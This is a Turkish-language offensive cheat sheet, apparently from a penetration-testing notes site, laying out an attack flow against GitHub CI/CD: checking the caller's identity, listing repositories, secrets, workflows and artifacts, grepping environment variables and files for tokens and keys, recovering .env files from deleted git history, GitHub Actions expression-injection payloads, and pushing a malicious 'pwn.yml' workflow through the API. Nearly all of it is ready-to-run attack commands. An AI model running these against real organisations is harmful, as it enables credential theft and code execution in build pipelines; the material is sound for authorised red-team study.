Basic Github Information
CI/CD enum
Basic Github Information — CI/CD ve DevOps ortamında kaynak envanteri ve izin yüzeyi keşfi notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Çağıran kimliği ve etkili izinleri netleştir.
-
Servise özel kaynak envanteri çıkar (liste + describe).
-
Secret, trust policy ve yazma yüzeyi adaylarını işaretle.
-
Bir sonraki privesc / veri / RCE hipotezini kilitle.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
gh auth status 2>/dev/nullenv | rg -i 'token|secret|key|password' | headaws sts get-caller-identity 2>/dev/nullaz account show 2>/dev/nullgcloud auth list 2>/dev/nullHedef komutlar
Section titled “Hedef komutlar”Basic Github Information için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
gh api orgs/ORG/repos --paginategh api repos/ORG/REPO/actions/secretsgh api repos/ORG/REPO/actions/runsgh api repos/ORG/REPO/actions/workflowsgh secret list -R ORG/REPOgh workflow list -R ORG/REPOgh workflow run WF.yml -R ORG/REPOgh api repos/ORG/REPO/actions/cachesgh api repos/ORG/REPO/actions/artifactsrun: echo "${{ github.event.issue.title }}"run: curl ${{ github.event.pull_request.title }}git log --all --full-history -- '**/.env' '**/credentials*'gh api repos/ORG/REPO/commits --jq '.[].sha' | headgit show DELETED_SHA:.envSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txtEk komutlar
Section titled “Ek komutlar”gh api -X PUT repos/ORG/REPO/contents/.github/workflows/pwn.yml -f message=pwn -f content=$(base64 -w0 pwn.yml)gh auth statusgh api user